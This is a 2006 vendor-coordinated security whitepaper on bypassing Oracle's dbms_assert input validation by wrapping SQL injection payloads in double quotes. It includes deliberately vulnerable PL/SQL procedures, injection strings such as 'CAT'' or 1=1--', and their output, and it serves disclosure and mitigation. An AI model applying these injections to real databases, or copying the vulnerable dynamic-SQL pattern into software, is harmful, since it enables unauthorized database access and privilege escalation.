DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 

Bypassing Oracle dbms_assert

  • 1. Bypassing Oracle dbms_assert V1.00 Bypassing Oracle dbms_assert by Alexander Kornbrust of Red-Database-Security GmbH http://www.red-database-security.com Summary: By using specially crafted parameters (in double quotes) it is possible to bypass the input validation of the package dbms_assert and inject SQL code. This makes dozens of already fixed Oracle vulnerabilities exploitable in all versions of Oracle again (8.1.7.4 – 10.2.0.2, fully patched with Oracle CPU July 2006). I informed Oracle about this problem end of April and informed Oracle about some bugs + exploits. To mitigate the risk you should revoke especially the privilege “CREATE PROCEDURE” or “ALTER PROCEDURE” to avoid privilege escalation by injection specially crafted functions or procedures. Tags: dbms_assert, SQL Injection, dynamic SQL, Introduction: To protect the Oracle PL/SQL system packages from the growing number of SQL injection vulnerabilities Oracle introduced a new package called dbms_assert in Oracle 10g Release 2. This package was backported with the Oracle Critical Patch Update (CPU) October 2005 to all supported databases (8.1.7.4 until 10.1.0.5). But let's start from the beginning... DBMS_ASSERT is a PL/SQL package consisting of the following functions. ENQUOTE_LITERAL ENQUOTE_NAME NOOP QUALIFIED_SQL_NAME SCHEMA_NAME SIMPLE_SQL_NAME SQL_OBJECT_NAME A detailed explanation of these functions (+usage) can be found in David Litchfield and Dr. Hall’s articles (see [1], [2]). Using a central function to sanitize the (user) input is and was a clever strategy from Oracle as long as the dbms_assert can not be bypassed. If such a central function can be bypassed then this is a nice thing for security researchers and attackers because the usage of this function (dbms_assert) marks all vulnerable functions und procedures. © 2006 by Red-Database-Security GmbH 1/5
  • 2. Bypassing Oracle dbms_assert V1.00 Within minutes it's possible to find dozens of vulnerable PL/SQL functions and procedures in all (fully-patched) versions of Oracle (8.1.7.4 until 10.2.0.2 with CPU July 2006) if you know the right search string and if you are able to unwrap PL/SQL code. Since years there are already PL/SQL unwrappers out there and Pete Finnigan will speak about this unwrapping PL/SQL (+ simple proof-of-concept) at the Black Hat 2006 in Las Vegas [3]. © 2006 by Red-Database-Security GmbH 2/5
  • 3. Bypassing Oracle dbms_assert V1.00 Let's start with some simple PL/SQL examples. A PL/SQL-procedure accepts a parameter TABLENAME and concatenates this parameter to a dynamic SQL statement. This SQL statement will be executed with execute immediate. (Vulnerable) Solution without dbms_assert: CREATE OR REPLACE PROCEDURE test1 (TABLENAME IN VARCHAR2) IS BEGIN dbms_output.put_line(' SQL=select count(*) from all_tables where table_name='''|| TABLENAME||''''); EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''|| TABLENAME ||''''; END test1; / Procedure created. Now we are using a normal table name as a parameter SQL> exec test1('CAT'); SQL=select count(*) from all_tables where table_name='CAT' PL/SQL procedure successfully completed. Because this parameter is not sanitized we can inject PL/SQL code, e.g. “or 1=1--" SQL> exec test1('CAT'' or 1=1--'); SQL=select count(*) from all_tables where table_name='CAT' or 1=1--' PL/SQL procedure successfully completed. © 2006 by Red-Database-Security GmbH 3/5
  • 4. Bypassing Oracle dbms_assert V1.00 Solution with dbms_assert (still vulnerable): Now we sanitize the user input with dbms_assert.qualified_sql_name. Oracle is using exactly this approach several times in their internal PL/SQL code. CREATE OR REPLACE PROCEDURE test2 (TABLENAME IN VARCHAR2) IS VERIFY_TAB VARCHAR2(64); BEGIN VERIFY_TAB := DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME); dbms_output.put_line('ASSERT result='||VERIFY_TAB); dbms_output.put_line('SQL=select count(*) from all_tables where table_name='''|| VERIFY_TAB ||''''); EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''||VERIFY_TAB||''''; END test2; / Procedure created. We pass our table CAT as parameter and everything works as expected SQL> exec test2('CAT'); ASSERT result=CAT SQL=select count(*) from all_tables where table_name='CAT' PL/SQL procedure successfully completed. Now we try to inject additional code. This time dbms_assert.qualified_sql_name throws an error and the dynamic SQL is not executed. SQL> exec test2('CAT'' or 1=1--'); BEGIN test2('CAT'' or 1=1--'); END; * ERROR at line 1: ORA-06502: PL/SQL: numeric or value error ORA-06512: at "SYS.DBMS_ASSERT", line 206 ORA-06512: at "USER1.TEST2", line 5 ORA-06512: at line 1 © 2006 by Red-Database-Security GmbH 4/5
  • 5. Bypassing Oracle dbms_assert V1.00 And we inject an object name in double quotes into our procedure SQL> exec test2('"CAT'' or 1=1--"'); ASSERT result="CAT' or 1=1--" SQL=select count(*) from all_tables where table_name='"CAT' or 1=1--"' PL/SQL procedure successfully completed. And, what surprise, it works... dbms_assert.qualified_sql_name skips the input validation if the parameter is enquoted by double quotes. If you use DBMS_ASSERT.sql_object_name you must create an object first, e.g. CREATE TABLE " ' or 1=1-- ". An attacker can use this technique (double quote around parameters) to bypass dbms_assert. I informed Oracle end of April about this problem and reported already some related security bugs in some Oracle PL/SQL packages. Oracle has no problem with the release of this information (“Oracle sees no problem with your publication of the white paper.”) History: • 1.00 – 27-july-2006 – initial release References: • [1] Securing PL/SQL Applications with DBMS_ASSERT http://www.ngssoftware.com/papers/DBMS_ASSERT.pdf • [2] DBMS_ASSERT - Sanitize User Input to Help Prevent SQL Injection http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php • [3] How to Unwrap Oracle PL/SQL http://www.blackhat.com/html/bh-usa-06/bh-us-06-speakers.html#Finnigan (c) 2006 by Red-Database-Security GmbH © 2006 by Red-Database-Security GmbH 5/5